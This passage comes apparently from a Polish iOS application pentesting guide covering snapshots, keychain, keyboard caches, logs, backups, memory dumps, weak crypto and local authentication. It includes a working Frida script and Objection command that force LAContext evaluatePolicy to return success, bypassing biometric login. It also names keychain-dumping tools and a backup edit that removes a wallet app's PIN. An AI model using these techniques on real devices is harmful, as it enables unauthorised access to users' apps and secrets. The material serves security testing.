||
|
||
`Obiekt konfiguracyjny sesji ephemerowej jest podobny do domyślnego obiektu konfiguracyjnego sesji (patrz default), z wyjątkiem tego, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy sesja ephemerowa zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.`
|
||
|
||
3. Bufor można również wyłączyć, ustawiając politykę buforowania na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Wyłączy to przechowywanie buforu w jakiejkolwiek formie, zarówno w pamięci, jak i na dysku.
|
||
|
||
### Snapshots
|
||
|
||
Kiedy naciśniesz przycisk home, iOS **robi zrzut ekranu bieżącego ekranu**, aby móc przejść do aplikacji w znacznie płynniejszy sposób. Jednak jeśli na bieżącym ekranie znajdują się **wrażliwe** **dane**, zostaną one **zapisane** w **obrazie** (który **utrzymuje się** **po** **ponownych uruchomieniach**). To są zrzuty ekranu, do których możesz również uzyskać dostęp, podwójnie stukając ekran główny, aby przełączać się między aplikacjami.
|
||
|
||
O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOX 7.0).
|
||
|
||
Jednym ze sposobów zapobiegania temu złemu zachowaniu jest umieszczenie pustego ekranu lub usunięcie wrażliwych danych przed zrobieniem zrzutu ekranu za pomocą funkcji `ApplicationDidEnterBackground()`.
|
||
|
||
Poniżej znajduje się przykładowa metoda naprawcza, która ustawi domyślny zrzut ekranu.
|
||
|
||
Swift:
|
||
```swift
|
||
private var backgroundImage: UIImageView?
|
||
|
||
func applicationDidEnterBackground(_ application: UIApplication) {
|
||
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
|
||
myBanner.frame = UIScreen.main.bounds
|
||
backgroundImage = myBanner
|
||
window?.addSubview(myBanner)
|
||
}
|
||
|
||
func applicationWillEnterForeground(_ application: UIApplication) {
|
||
backgroundImage?.removeFromSuperview()
|
||
}
|
||
```
|
||
Objective-C:
|
||
```
|
||
@property (UIImageView *)backgroundImage;
|
||
|
||
- (void)applicationDidEnterBackground:(UIApplication *)application {
|
||
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
|
||
self.backgroundImage = myBanner;
|
||
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||
[self.window addSubview:myBanner];
|
||
}
|
||
|
||
- (void)applicationWillEnterForeground:(UIApplication *)application {
|
||
[self.backgroundImage removeFromSuperview];
|
||
}
|
||
```
|
||
To ustawienie obrazu tła na `overlayImage.png` za każdym razem, gdy aplikacja jest w tle. Zapobiega to wyciekom wrażliwych danych, ponieważ `overlayImage.png` zawsze zastępuje bieżący widok.
|
||
|
||
### Keychain
|
||
|
||
Do uzyskiwania dostępu i zarządzania keychainem iOS, dostępne są narzędzia takie jak [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), odpowiednie dla urządzeń z jailbreakiem. Dodatkowo, [**Objection**](https://github.com/sensepost/objection) oferuje polecenie `ios keychain dump` do podobnych celów.
|
||
|
||
#### **Przechowywanie poświadczeń**
|
||
|
||
Klasa **NSURLCredential** jest idealna do zapisywania wrażliwych informacji bezpośrednio w keychainie, omijając potrzebę używania NSUserDefaults lub innych opakowań. Aby przechować poświadczenia po zalogowaniu, używany jest następujący kod Swift:
|
||
```swift
|
||
NSURLCredential *credential;
|
||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||
```
|
||
Aby wyodrębnić te zapisane dane uwierzytelniające, używana jest komenda Objection `ios nsurlcredentialstorage dump`.
|
||
|
||
## **Niestandardowe Klawiatury i Pamięć Klawiatury**
|
||
|
||
Od iOS 8.0 użytkownicy mogą instalować rozszerzenia niestandardowych klawiatur, które są zarządzane w **Ustawienia > Ogólne > Klawiatura > Klawiatury**. Chociaż te klawiatury oferują rozszerzoną funkcjonalność, niosą ze sobą ryzyko rejestrowania naciśnięć klawiszy i przesyłania danych do zewnętrznych serwerów, chociaż użytkownicy są informowani o klawiaturach wymagających dostępu do sieci. Aplikacje mogą i powinny ograniczać użycie niestandardowych klawiatur do wprowadzania wrażliwych informacji.
|
||
|
||
**Zalecenia dotyczące bezpieczeństwa:**
|
||
|
||
- Zaleca się wyłączenie klawiatur firm trzecich w celu zwiększenia bezpieczeństwa.
|
||
- Należy być świadomym funkcji automatycznej korekty i podpowiedzi w domyślnej klawiaturze iOS, które mogą przechowywać wrażliwe informacje w plikach pamięci podręcznej znajdujących się w `Library/Keyboard/{locale}-dynamic-text.dat` lub `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Pliki pamięci podręcznej powinny być regularnie sprawdzane pod kątem wrażliwych danych. Zaleca się zresetowanie słownika klawiatury za pomocą **Ustawienia > Ogólne > Resetuj > Zresetuj słownik klawiatury** w celu usunięcia danych z pamięci podręcznej.
|
||
- Przechwytywanie ruchu sieciowego może ujawnić, czy niestandardowa klawiatura przesyła naciśnięcia klawiszy zdalnie.
|
||
|
||
### **Zapobieganie Pamięci Podręcznej Pola Tekstowego**
|
||
|
||
Protokół [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) oferuje właściwości do zarządzania automatyczną korektą i bezpiecznym wprowadzaniem tekstu, co jest niezbędne do zapobiegania pamięci podręcznej wrażliwych informacji. Na przykład, wyłączenie automatycznej korekty i włączenie bezpiecznego wprowadzania tekstu można osiągnąć za pomocą:
|
||
```objectivec
|
||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
textObject.secureTextEntry = YES;
|
||
```
|
||
Dodatkowo, deweloperzy powinni upewnić się, że pola tekstowe, szczególnie te do wprowadzania wrażliwych informacji, takich jak hasła i PIN-y, wyłączają pamięć podręczną, ustawiając `autocorrectionType` na `UITextAutocorrectionTypeNo` i `secureTextEntry` na `YES`.
|
||
```objectivec
|
||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
```
|
||
## **Logi**
|
||
|
||
Debugowanie kodu często wiąże się z użyciem **logowania**. Istnieje ryzyko, ponieważ **logi mogą zawierać wrażliwe informacje**. Wcześniej, w iOS 6 i wcześniejszych wersjach, logi były dostępne dla wszystkich aplikacji, co stwarzało ryzyko wycieku wrażliwych danych. **Teraz aplikacje mają ograniczony dostęp tylko do swoich logów**.
|
||
|
||
Pomimo tych ograniczeń, **atakujący z fizycznym dostępem** do odblokowanego urządzenia może nadal to wykorzystać, podłączając urządzenie do komputera i **czytając logi**. Ważne jest, aby zauważyć, że logi pozostają na dysku nawet po odinstalowaniu aplikacji.
|
||
|
||
Aby zminimalizować ryzyko, zaleca się **dokładne interakcje z aplikacją**, eksplorując wszystkie jej funkcjonalności i dane wejściowe, aby upewnić się, że żadne wrażliwe informacje nie są rejestrowane przypadkowo.
|
||
|
||
Przy przeglądaniu kodu źródłowego aplikacji w poszukiwaniu potencjalnych wycieków, należy szukać zarówno **zdefiniowanych**, jak i **niestandardowych instrukcji logowania** używając słów kluczowych takich jak `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` dla funkcji wbudowanych oraz wszelkich wzmiankach o `Logging` lub `Logfile` dla niestandardowych implementacji.
|
||
|
||
### **Monitorowanie logów systemowych**
|
||
|
||
Aplikacje rejestrują różne informacje, które mogą być wrażliwe. Aby monitorować te logi, użyj narzędzi i poleceń takich jak:
|
||
```bash
|
||
idevice_id --list # To find the device ID
|
||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||
```
|
||
są przydatne. Dodatkowo, **Xcode** oferuje sposób na zbieranie logów konsoli:
|
||
|
||
1. Otwórz Xcode.
|
||
2. Podłącz urządzenie iOS.
|
||
3. Przejdź do **Window** -> **Devices and Simulators**.
|
||
4. Wybierz swoje urządzenie.
|
||
5. Wywołaj problem, który badałeś.
|
||
6. Użyj przycisku **Open Console**, aby wyświetlić logi w nowym oknie.
|
||
|
||
Dla bardziej zaawansowanego logowania, połączenie z powłoką urządzenia i użycie **socat** może zapewnić monitorowanie logów w czasie rzeczywistym:
|
||
```bash
|
||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||
```
|
||
Śledzone są polecenia do obserwacji aktywności logów, które mogą być nieocenione w diagnozowaniu problemów lub identyfikowaniu potencjalnych wycieków danych w logach.
|
||
|
||
## Kopie zapasowe
|
||
|
||
**Funkcje automatycznego tworzenia kopii zapasowych** są zintegrowane z iOS, ułatwiając tworzenie kopii danych urządzenia za pomocą iTunes (do macOS Catalina), Findera (od macOS Catalina) lub iCloud. Te kopie zapasowe obejmują prawie wszystkie dane urządzenia, z wyjątkiem wysoce wrażliwych elementów, takich jak szczegóły Apple Pay i konfiguracje Touch ID.
|
||
|
||
### Ryzyka bezpieczeństwa
|
||
|
||
Włączenie **zainstalowanych aplikacji i ich danych** do kopii zapasowych podnosi kwestię potencjalnego **wycieku danych** oraz ryzyko, że **zmiany w kopiach zapasowych mogą wpłynąć na funkcjonalność aplikacji**. Zaleca się **nieprzechowywanie wrażliwych informacji w postaci tekstu jawnego** w katalogu aplikacji ani jej podkatalogach, aby zminimalizować te ryzyka.
|
||
|
||
### Wykluczanie plików z kopii zapasowych
|
||
|
||
Pliki w `Documents/` i `Library/Application Support/` są domyślnie tworzone w kopiach zapasowych. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z `NSURLIsExcludedFromBackupKey`. Ta praktyka jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych.
|
||
|
||
### Testowanie pod kątem podatności
|
||
|
||
Aby ocenić bezpieczeństwo kopii zapasowych aplikacji, zacznij od **utworzenia kopii zapasowej** za pomocą Findera, a następnie zlokalizuj ją, korzystając z wskazówek zawartych w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą być zmieniane, aby wpłynąć na zachowanie aplikacji.
|
||
|
||
Wrażliwe informacje można wyszukiwać za pomocą narzędzi wiersza poleceń lub aplikacji takich jak [iMazing](https://imazing.com). W przypadku zaszyfrowanych kopii zapasowych obecność szyfrowania można potwierdzić, sprawdzając klucz "IsEncrypted" w pliku "Manifest.plist" w katalogu głównym kopii zapasowej.
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
<plist version="1.0">
|
||
...
|
||
<key>Date</key>
|
||
<date>2021-03-12T17:43:33Z</date>
|
||
<key>IsEncrypted</key>
|
||
<true/>
|
||
...
|
||
</plist>
|
||
```
|
||
Aby poradzić sobie z zaszyfrowanymi kopiami zapasowymi, przydatne mogą być skrypty Pythona dostępne w [repozytorium GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), takie jak **backup_tool.py** i **backup_passwd.py**, chociaż mogą wymagać dostosowań w celu zapewnienia zgodności z najnowszymi wersjami iTunes/Finder. Narzędzie [**iOSbackup**](https://pypi.org/project/iOSbackup/) to kolejna opcja do uzyskiwania dostępu do plików w zabezpieczonych hasłem kopiach zapasowych.
|
||
|
||
### Modyfikowanie zachowania aplikacji
|
||
|
||
Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej można zobaczyć w aplikacji portfela bitcoin [Bither](https://github.com/bither/bither-ios), gdzie PIN blokady interfejsu użytkownika jest przechowywany w `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z plist i przywrócenie kopii zapasowej usuwa wymóg podawania PIN-u, zapewniając nieograniczony dostęp.
|
||
|
||
## Podsumowanie testowania pamięci dla danych wrażliwych
|
||
|
||
Podczas pracy z wrażliwymi informacjami przechowywanymi w pamięci aplikacji, kluczowe jest ograniczenie czasu ekspozycji tych danych. Istnieją dwa główne podejścia do badania zawartości pamięci: **tworzenie zrzutu pamięci** i **analiza pamięci w czasie rzeczywistym**. Obie metody mają swoje wyzwania, w tym możliwość pominięcia krytycznych danych podczas procesu zrzutu lub analizy.
|
||
|
||
## **Odzyskiwanie i analiza zrzutu pamięci**
|
||
|
||
Dla urządzeń z jailbreakiem i bez jailbreaka, narzędzia takie jak [objection](https://github.com/sensepost/objection) i [Fridump](https://github.com/Nightbringer21/fridump) umożliwiają zrzut pamięci procesu aplikacji. Po zrzuceniu, analiza tych danych wymaga różnych narzędzi, w zależności od charakteru informacji, których szukasz.
|
||
|
||
Aby wyodrębnić ciągi ze zrzutu pamięci, można użyć poleceń takich jak `strings` lub `rabin2 -zz`:
|
||
```bash
|
||
# Extracting strings using strings command
|
||
$ strings memory > strings.txt
|
||
|
||
# Extracting strings using rabin2
|
||
$ rabin2 -ZZ memory > strings.txt
|
||
```
|
||
Aby uzyskać bardziej szczegółową analizę, w tym wyszukiwanie konkretnych typów danych lub wzorców, **radare2** oferuje rozbudowane możliwości wyszukiwania:
|
||
```bash
|
||
$ r2 <name_of_your_dump_file>
|
||
[0x00000000]> /?
|
||
...
|
||
```
|
||
## **Analiza pamięci w czasie rzeczywistym**
|
||
|
||
**r2frida** oferuje potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez potrzeby posiadania zrzutu pamięci. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji:
|
||
```bash
|
||
$ r2 frida://usb//<name_of_your_app>
|
||
[0x00000000]> /\ <search_command>
|
||
```
|
||
## Broken Cryptography
|
||
|
||
### Poor Key Management Processes
|
||
|
||
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne techniki odwracania mogą pozwolić atakującym na wydobycie poufnych informacji.
|
||
|
||
### Use of Insecure and/or Deprecated Algorithms
|
||
|
||
Deweloperzy nie powinni używać **deprecated algorithms** do przeprowadzania **checks** autoryzacji, **store** lub **send** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashes** są używane do przechowywania haseł, na przykład, powinny być używane **hashes** odporne na brute-force z solą.
|
||
|
||
### Check
|
||
|
||
Główne kontrole, które należy przeprowadzić, to sprawdzenie, czy można znaleźć **hardcoded** hasła/tajemnice w kodzie, czy są one **predictable**, oraz czy kod używa jakiegoś rodzaju **weak** **cryptography** algorithms.
|
||
|
||
Ciekawe jest to, że można **monitor** niektóre **crypto** **libraries** automatycznie za pomocą **objection** z:
|
||
```swift
|
||
ios monitor crypt
|
||
```
|
||
Dla **więcej informacji** na temat iOS kryptograficznych API i bibliotek, odwiedź [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||
|
||
## Uwierzytelnianie lokalne
|
||
|
||
**Uwierzytelnianie lokalne** odgrywa kluczową rolę, szczególnie w kontekście zabezpieczania dostępu do zdalnego punktu końcowego za pomocą metod kryptograficznych. Istotą jest to, że bez odpowiedniej implementacji mechanizmy uwierzytelniania lokalnego mogą być obejście.
|
||
|
||
Framework [**Local Authentication**](https://developer.apple.com/documentation/localauthentication) firmy Apple oraz [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) oferują solidne API dla deweloperów, aby ułatwić dialogi uwierzytelniające użytkowników i bezpiecznie obsługiwać dane tajne. Secure Enclave zabezpiecza identyfikację odcisku palca dla Touch ID, podczas gdy Face ID opiera się na rozpoznawaniu twarzy bez kompromitowania danych biometrycznych.
|
||
|
||
Aby zintegrować Touch ID/Face ID, deweloperzy mają do wyboru dwa API:
|
||
|
||
- **`LocalAuthentication.framework`** do uwierzytelniania użytkowników na wysokim poziomie bez dostępu do danych biometrycznych.
|
||
- **`Security.framework`** do dostępu do usług keychain na niższym poziomie, zabezpieczając dane tajne za pomocą uwierzytelniania biometrycznego. Różne [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) ułatwiają dostęp do keychain.
|
||
|
||
> [!CAUTION]
|
||
> Jednak zarówno `LocalAuthentication.framework`, jak i `Security.framework` mają luki, ponieważ głównie zwracają wartości boolean bez przesyłania danych do procesów uwierzytelniania, co czyni je podatnymi na obejście (zobacz [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||
|
||
### Implementacja uwierzytelniania lokalnego
|
||
|
||
Aby poprosić użytkowników o uwierzytelnienie, deweloperzy powinni wykorzystać metodę **`evaluatePolicy`** w klasie **`LAContext`**, wybierając między:
|
||
|
||
- **`deviceOwnerAuthentication`**: Prosi o Touch ID lub kod dostępu do urządzenia, niepowodzenie, jeśli żadne z nich nie jest włączone.
|
||
- **`deviceOwnerAuthenticationWithBiometrics`**: Wyłącznie prosi o Touch ID.
|
||
|
||
Sukces uwierzytelnienia jest wskazywany przez wartość boolean zwracaną z **`evaluatePolicy`**, co podkreśla potencjalną lukę w zabezpieczeniach.
|
||
|
||
### Uwierzytelnianie lokalne z użyciem Keychain
|
||
|
||
Implementacja **uwierzytelniania lokalnego** w aplikacjach iOS polega na użyciu **keychain APIs** do bezpiecznego przechowywania danych tajnych, takich jak tokeny uwierzytelniające. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub uwierzytelnienia biometrycznego, takiego jak Touch ID.
|
||
|
||
Keychain oferuje możliwość ustawienia elementów z atrybutem `SecAccessControl`, który ogranicza dostęp do elementu, dopóki użytkownik nie uwierzytelni się pomyślnie za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla zwiększenia bezpieczeństwa.
|
||
|
||
Poniżej znajdują się przykłady kodu w Swift i Objective-C demonstrujące, jak zapisać i odzyskać ciąg z keychain, wykorzystując te funkcje zabezpieczeń. Przykłady pokazują, jak skonfigurować kontrolę dostępu, aby wymagała uwierzytelnienia Touch ID i zapewniała, że dane są dostępne tylko na urządzeniu, na którym zostały skonfigurowane, pod warunkiem, że kod dostępu do urządzenia jest skonfigurowany.
|
||
|
||
{{#tabs}}
|
||
{{#tab name="Swift"}}
|
||
```swift
|
||
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
|
||
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
|
||
var error: Unmanaged<CFError>?
|
||
|
||
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
SecAccessControlCreateFlags.biometryCurrentSet,
|
||
&error) else {
|
||
// failed to create AccessControl object
|
||
|
||
return
|
||
}
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
|
||
var query: [String: Any] = [:]
|
||
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecAttrAccount as String] = "OWASP Account" as CFString
|
||
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
|
||
query[kSecAttrAccessControl as String] = accessControl
|
||
|
||
// 3. save item
|
||
|
||
let status = SecItemAdd(query as CFDictionary, nil)
|
||
|
||
if status == noErr {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="Objective-C"}}
|
||
```objectivec
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
CFErrorRef *err = nil;
|
||
|
||
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
kSecAccessControlUserPresence,
|
||
err);
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
NSDictionary* query = @{
|
||
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecAttrAccount: @"OWASP Account",
|
||
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
|
||
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
|
||
};
|
||
|
||
// 3. save item
|
||
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
|
||
|
||
if (status == noErr) {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
Teraz możemy zażądać zapisanej pozycji z keychain. Usługi keychain wyświetlą użytkownikowi okno dialogowe uwierzytelniania i zwrócą dane lub nil w zależności od tego, czy podano odpowiedni odcisk palca, czy nie.
|
||
|
||
{{#tabs}}
|
||
{{#tab name="Swift"}}
|
||
```swift
|
||
// 1. define query
|
||
var query = [String: Any]()
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecReturnData as String] = kCFBooleanTrue
|
||
query[kSecAttrAccount as String] = "My Name" as CFString
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
|
||
|
||
// 2. get item
|
||
var queryResult: AnyObject?
|
||
let status = withUnsafeMutablePointer(to: &queryResult) {
|
||
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
|
||
}
|
||
|
||
if status == noErr {
|
||
let password = String(data: queryResult as! Data, encoding: .utf8)!
|
||
// successfully received password
|
||
} else {
|
||
// authorization not passed
|
||
}
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="Objective-C"}}
|
||
```objectivec
|
||
// 1. define query
|
||
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecReturnData: @YES,
|
||
(__bridge id)kSecAttrAccount: @"My Name1",
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
|
||
|
||
// 2. get item
|
||
CFTypeRef queryResult = NULL;
|
||
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
|
||
|
||
if (status == noErr){
|
||
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
|
||
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
|
||
NSLog(@"%@", password);
|
||
} else {
|
||
NSLog(@"Something went wrong");
|
||
}
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
### Wykrywanie
|
||
|
||
Użycie frameworków w aplikacji można również wykryć, analizując listę współdzielonych bibliotek dynamicznych w binarnej wersji aplikacji. Można to zrobić za pomocą `otool`:
|
||
```bash
|
||
$ otool -L <AppName>.app/<AppName>
|
||
```
|
||
Jeśli `LocalAuthentication.framework` jest używany w aplikacji, wynik będzie zawierał obie poniższe linie (pamiętaj, że `LocalAuthentication.framework` używa `Security.framework` w tle):
|
||
```bash
|
||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||
/System/Library/Frameworks/Security.framework/Security
|
||
```
|
||
Jeśli używany jest `Security.framework`, tylko drugi zostanie wyświetlony.
|
||
|
||
### Ominięcie lokalnego uwierzytelniania
|
||
|
||
#### **Objection**
|
||
|
||
Dzięki **Objection Biometrics Bypass**, znajdującemu się na [tej stronie GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostępna jest technika umożliwiająca pokonanie mechanizmu **LocalAuthentication**. Sedno tego podejścia polega na wykorzystaniu **Frida** do manipulacji funkcją `evaluatePolicy`, zapewniając, że zawsze zwraca wynik `True`, niezależnie od rzeczywistego sukcesu uwierzytelnienia. Jest to szczególnie przydatne do omijania wadliwych procesów uwierzytelniania biometrycznego.
|
||
|
||
Aby aktywować to ominięcie, używana jest następująca komenda:
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
|
||
(agent) [3mhtws9x47q] OS authentication response: false
|
||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||
```
|
||
To polecenie uruchamia sekwencję, w której Objection rejestruje zadanie, które skutecznie zmienia wynik sprawdzenia `evaluatePolicy` na `True`.
|
||
|
||
#### Frida
|
||
|
||
Przykład użycia **`evaluatePolicy`** z aplikacji [DVIA-v2](https://github.com/prateek147/DVIA-v2):
|
||
```swift
|
||
+(void)authenticateWithTouchID {
|
||
LAContext *myContext = [[LAContext alloc] init];
|
||
NSError *authError = nil;
|
||
NSString *myLocalizedReasonString = @"Please authenticate yourself";
|
||
|
||
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
|
||
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
|
||
localizedReason:myLocalizedReasonString
|
||
reply:^(BOOL success, NSError *error) {
|
||
if (success) {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
|
||
});
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}];
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}
|
||
```
|
||
Aby osiągnąć **obejście** lokalnej autoryzacji, napisano skrypt Frida. Skrypt ten celuje w kontrolę **evaluatePolicy**, przechwytując jej callback, aby upewnić się, że zwraca **success=1**. Poprzez zmianę zachowania callbacka, kontrola autoryzacji jest skutecznie omijana.
|
||
|
||
Poniższy skrypt jest wstrzykiwany, aby zmodyfikować wynik metody **evaluatePolicy**. Zmienia wynik callbacka, aby zawsze wskazywał na sukces.
|
||
```swift
|
||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||
if(ObjC.available) {
|
||
console.log("Injecting...");
|
||
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
|
||
Interceptor.attach(hook.implementation, {
|
||
onEnter: function(args) {
|
||
var block = new ObjC.Block(args[4]);
|
||
const callback = block.implementation;
|
||
block.implementation = function (error, value) {
|
||
|
||
console.log("Changing the result value to true")
|
||
const result = callback(1, null);
|
||
return result;
|
||
};
|
||
},
|
||
});
|
||
} else {
|
||
console.log("Objective-C Runtime is not available!");
|
||
}
|
||
```
|
||
Aby wstrzyknąć skrypt Frida i obejść uwierzytelnianie biometryczne, używa się następującego polecenia:
|
||
```bash
|
||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||
```
|
||
## Ekspozycja Wrażliwej Funkcjonalności przez IPC
|
||
|
||
### Niestandardowe Obsługiwacze URI / Deeplinks / Niestandardowe Schematy
|
||
|
||
{{#ref}}
|
||
ios-custom-uri-handlers-deeplinks-custom-schemes.md
|
||
{{#endref}}
|
||
|
||
### Uniwersalne Linki
|
||
|
||
{{#ref}}
|
||
ios-universal-links.md
|
||
{{#endref}}
|
||
|
||
### Udostępnianie UIActivity
|
||
|
||
{{#ref}}
|
||
ios-uiactivity-sharing.md
|
||
{{#endref}}
|
||
|
||
### UIPasteboard
|
||
|
||
{{#ref}}
|
||
ios-uipasteboard.md
|
||
{{#endref}}
|
||
|
||
### Rozszerzenia Aplikacji
|
||
|
||
{{#ref}}
|
||
ios-app-extensions.md
|
||
{{#endref}}
|
||
|
||
### WebViews
|
||
|
||
{{#ref}}
|
||
ios-webviews.md
|
||
{{#endref}}
|
||
|
||
### Serializacja i Kodowanie
|
||
|
||
{{#ref}}
|
||
ios-serialisation-and-encoding.md
|
||
{{#endref}}
|
||
|
||
## Komunikacja Sieciowa
|
||
|
||
Ważne jest, aby sprawdzić, czy nie zachodzi żadna komunikacja **bez szyfrowania** oraz czy aplikacja poprawnie **waliduje certyfikat TLS** serwera.\
|
||
Aby sprawdzić te problemy, możesz użyć proxy, takiego jak **Burp**:
|
||
|
||
{{#ref}}
|
||
burp-configuration-for-ios.md
|
||
{{#endref}}
|
||
|
||
### Sprawdzenie Nazwy Host
|
||
|
||
Jednym z powszechnych problemów przy walidacji certyfikatu TLS jest sprawdzenie, czy certyfikat został podpisany przez **zaufane** **CA**, ale **nie sprawdzenie**, czy **nazwa hosta** certyfikatu jest nazwą hosta, do której się uzyskuje dostęp.\
|
||
